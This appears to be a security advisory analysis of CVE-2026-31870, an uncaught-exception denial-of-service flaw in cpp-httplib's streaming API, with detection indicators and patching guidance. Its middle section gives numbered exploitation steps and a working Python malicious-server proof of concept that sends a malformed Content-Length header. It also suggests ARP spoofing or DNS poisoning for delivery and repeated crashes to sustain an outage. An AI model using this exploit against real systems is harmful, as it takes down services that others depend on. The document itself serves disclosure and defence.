CVE-2026-31870: 
Homebrew vulnerability analysis and mitigation

CVE-2026-31870 is a Denial of Service vulnerability in cpp-httplib, a C++11 single-file header-only cross-platform HTTP/HTTPS library, caused by an uncaught exception when parsing malformed Content-Length response headers in the streaming API. All versions up to and including 0.37.0 are affected; the vulnerability was disclosed on March 10–11, 2026 and fixed in version 0.37.1. It carries a CVSS v3.1 base score of 7.5 (High) (GitHub Advisory, Red Hat Bugzilla).

The root cause is classified as CWE-248 (Uncaught Exception) and CWE-1287 (Improper Validation of Specified Type of Input). In the vulnerable function ClientImpl::open_stream() (httplib.h, line 12421), the library calls std::stoull() directly on the Content-Length header value received from the server without any input validation or exception handling. std::stoull() throws std::invalid_argument for non-numeric strings (e.g., Content-Length: not-a-number) and std::out_of_range for values exceeding ULLONG_MAX (e.g., Content-Length: 99999999999999999999999999); since no try/catch exists in the call stack, the C++ runtime invokes std::terminate(), killing the process with SIGABRT. Notably, the non-streaming cli.Get() path is unaffected because it uses get_header_value_u64(), which validates input with is_numeric() and uses strtoull (which never throws) (GitHub Advisory).

Successful exploitation results in immediate, deterministic process termination (SIGABRT/exit code 134) of any application using the httplib::stream:: API namespace, including httplib::stream::Get, Post, Put, Patch, Delete, and Head. There is no confidentiality or integrity impact — the vulnerability is a pure availability (Denial of Service) issue. On systems without automatic process restart, the DoS is permanent; on systems with auto-restart, an attacker can repeatedly trigger the crash to keep the service continuously unavailable. Any server the client connects to — including those reached via HTTP redirects, third-party APIs, or man-in-the-middle positions — can trigger the crash with a single malicious HTTP response (GitHub Advisory).

A proof-of-concept exploit is publicly available in the GitHub Security Advisory, consisting of a Python evil server and a C++ client demonstrating the crash with high confidence (GitHub Advisory). No authentication is required, no user interaction is needed, and exploitation is network-accessible with low complexity. There is no current evidence of in-the-wild exploitation or threat actor attribution. The EPSS score is 0.063% (low probability of exploitation in the near term). The vulnerability is not listed in the CISA Known Exploited Vulnerabilities catalog. Detection plugins are available via Nessus (plugin IDs 301900 and 303248) (Feedly).

1. Set up a malicious server: Run a rogue HTTP server (e.g., using Python's raw socket API) that listens on a chosen port and responds to any HTTP request with a crafted response containing a malformed Content-Length header:

# evil_server.py
import socket
s = socket.socket()
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(("127.0.0.1", 9999))
s.listen(1)
conn, addr = s.accept()
conn.recv(4096)
conn.sendall(
    b"HTTP/1.1 200 OK\r\n"
    b"Content-Type: text/plain\r\n"
    b"Content-Length: not-a-number\r\n"  # trigger
    b"Connection: close\r\n"
    b"\r\n"
    b"hello"
)
conn.close()

2. Position for delivery: Either control a server the target client connects to directly, compromise a third-party API endpoint the client uses, or achieve a man-in-the-middle position (e.g., via ARP spoofing or DNS poisoning) to intercept and modify HTTP responses in transit.
3. Trigger the vulnerable code path: Ensure the target application uses httplib::stream::Get() or another httplib::stream:: function to make a request to the attacker-controlled server. The standard cli.Get() path is NOT vulnerable.
4. Crash the client process: When the client receives the response, std::stoull("not-a-number") throws std::invalid_argument, propagates uncaught to std::terminate(), and the process dies with SIGABRT (exit code 134). An alternative payload Content-Length: 99999999999999999999999999 triggers std::out_of_range with the same result.
5. Sustain the DoS: If the target service auto-restarts, repeat the malicious response on each new connection to maintain continuous unavailability (GitHub Advisory).

• Process: Unexpected process termination of applications using cpp-httplib with exit code 134 (SIGABRT); core dump files generated in the application working directory.
• Logs: Application logs showing abrupt termination with messages such as terminate called after throwing an instance of 'std::invalid_argument' and what(): stoull; OS-level logs (e.g., /var/log/syslog, journalctl) recording Aborted (core dumped) for the affected process.
• Network: Inbound HTTP responses to the client containing a Content-Length header with non-numeric values (e.g., Content-Length: not-a-number) or extremely large numeric strings (e.g., 26+ digit numbers); unexpected HTTP responses from servers not matching expected API behavior.
• File System: Core dump files (e.g., core, core.<pid>) in the application directory following crashes; stack traces in crash reports referencing httplib::ClientImpl::open_stream, std::stoull, and std::terminate (GitHub Advisory).

Upgrade cpp-httplib to version 0.37.1 or later, which fixes the vulnerability by adding proper input validation and exception handling in ClientImpl::open_stream() (GitHub Advisory). Fedora packages have been updated across Fedora 42, 43, and 44 (Linux Security Fedora 44). As a workaround where upgrading is not immediately possible, restrict client connections to trusted servers only via network-level controls, and wrap all httplib::stream:: API calls in try/catch(...) blocks to prevent uncaught exceptions from reaching std::terminate(). Monitor for abnormal application termination (SIGABRT/exit code 134) in production environments as an early warning signal.

The vulnerability was reported by security researcher 0x3xploit and disclosed via the GitHub Security Advisory on March 10, 2026 (GitHub Advisory). Red Hat tracked it via Bugzilla with high severity and high priority, and Fedora issued package updates across multiple releases (Red Hat Bugzilla). Community discussion was noted on Mastodon and Bluesky shortly after disclosure, and Tenable released Nessus detection plugins (IDs 301900 and 303248) within days of the advisory.